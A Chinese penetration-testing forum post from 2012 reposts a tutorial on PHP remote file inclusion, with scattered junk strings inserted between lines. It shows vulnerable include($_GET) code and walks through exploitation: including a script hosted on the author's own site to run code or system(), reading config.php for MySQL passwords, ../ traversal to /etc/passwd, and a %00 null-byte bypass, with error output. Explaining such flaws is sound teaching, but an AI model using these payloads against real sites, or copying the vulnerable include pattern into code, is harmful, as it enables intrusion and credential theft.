中国网络渗透测试联盟
标题:
PHP远程包含
[打印本页]
作者:
admin
时间:
2012-9-15 14:06
标题:
PHP远程包含
4 `: L: l3 P/ H* H
php远端档包含漏洞基本
( F: n7 }; h+ }8 P9 m
这篇文章里我会告诉php远程档包含漏洞的原理,初涉程式师的人必看。
6 y+ H3 u5 F% Q- @' J6 l
本帖隐藏的内容需要回复才可以浏览
. s' j( o9 q1 r3 J) n
首先的问题是,什么才是”远程档包含漏洞“?简要的回答是伺服器通过php的任意档包含过滤不严,从而去执行一个恶意档,这是个程式师过滤上的问题,请记住,所有的cgi程式都有这样的bug。
4 G! D3 w: A- g, e& O0 I
1.找出bug:
/ u' U [2 R$ b" n/ Q8 a1 }
为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的档。在php里,我们使用include()函数,它的工作流程:
( I0 P" {- {4 H) [; d, |) l( F' T0 L5 G4 {
如果你在Main.php里包含include1.php,我将这样写include("include1.php").不是很科学,但你要知道其中的道理。
$ D1 B9 y0 \! [
我们先看这个,当用户输入通过后就包含档,也就是
3 b3 f" @& y3 } b: B
if ($_GET) {
4 D3 ^" }) a* J3 O# V6 P
include $_GET;
6 h9 ~" M8 g$ |1 o# m- H
} else {
9 Q. M. G) S4 Z, u: l( l2 l6 d
include "home.php";
4 E* X" I$ G0 f) @6 H- m# F
}
8 I- b3 |2 C: A6 T) ?
这种结构在动态网站里是常见的,问题是它允许这样
http://www.target.com
/explame.php?page=main.php或者
http://www.target.com/explame.php?
page=downloads.php来查看。无论如何,如果你的程式里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,档包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程式师依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。
4 K! [9 P: w2 s) p' c
2.测试
2 ]: s6 ]1 I6 u5 O4 h
这里有个远端档包含的例子,目的只有一个,为了你的程式安全,我们来看具体的
# D, G) ^/ b, A% a
http://www.target.com/explame.php?page=zizzy
& j) J( G* v% x, n
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 3
8 Y: L7 l9 Z( \% y! \. f; a& u3 u* L
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs/index.php on line 3
* W$ W2 d: H$ }0 E7 B
php输出的这些错误资讯告诉我们,程式去包含档/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的档,现在理解了吧。
- ~& }- R8 t' [. K7 e
3.利用
2 @2 K+ C5 T* _
php确实很好,可以远端调用档,那我创建一个yeah.txt,放在我的站上
http://www.mysite.com/yeah.txt.
内容这样
5 B. ~6 ]; ]! o% ~/ ?1 \
<?
4 s6 ^/ E# H8 q
echo "Wow,test!";
, h& D1 N5 }6 q9 S0 e
?>
6 U" n" {5 u) M" b6 l
那么
http://www.target.com/explame.php?pa...e.com/yeah.txt
0 F3 b, U. W- _' W
OK,回显Wow,test!,这样就执行了。读取config.php也不难吧,里面放了mysql密码啊。把yeah.txt写成<? phpinfo; ?>看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../.. /../../etc/passwd。知道什么叫真正的包含了吧。
& |, |- R, _2 Z( U4 O7 u
4.另一种
6 G5 v; F& [( z
有时程式师换种写法,写成这样,限制了包含范围
6 a5 ~% I6 l6 e1 \
if ($_GET) {
4 I% ~: {/ m, i% u
include "$_GET.php";
7 M, O! i, G+ O s B, H
} else {
h( m1 n! {9 `
include "home.php";
) @. k/ B, W8 a% w3 o
}
9 ]& o2 Q% F4 c/ e# M1 s) ?/ A7 X6 q
我们提交
http://www.target.com/explame.php?pa...e.com/yeah.txt
3 C" z4 s9 w- R$ {
Warning: main(
http://www.mysite.com/yeah.txt.php
): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3
4 d$ [, n$ n$ P+ z% o
Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs /explame.php on line 3
$ t% l* {) Q' C" J; W) s0 R& I
包含失败了,限制了尾码名为php,那mysite.com的yeah.txt改为yeah.php,ok,照样执行了
4 S: u# E6 h, `7 T& {4 y9 ^
那passwd怎么办
/ l. a2 G* ^, Z7 b
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3
3 f% S9 x6 R7 ~- F! z5 b; j
Warning: main(): Failed opening '../../../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/lib /php') in /var/www/htdocs/explame.php on line 3
9 o! a; U, u+ \# q
在这里使用个NUL字元,也就是%00来跳过检测
/ O& R; ?& n0 @
http://www.target.com/explame.php?pa.../etc/passwd%00
' L+ U9 @; i6 M" k0 J- F& L$ m! L
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2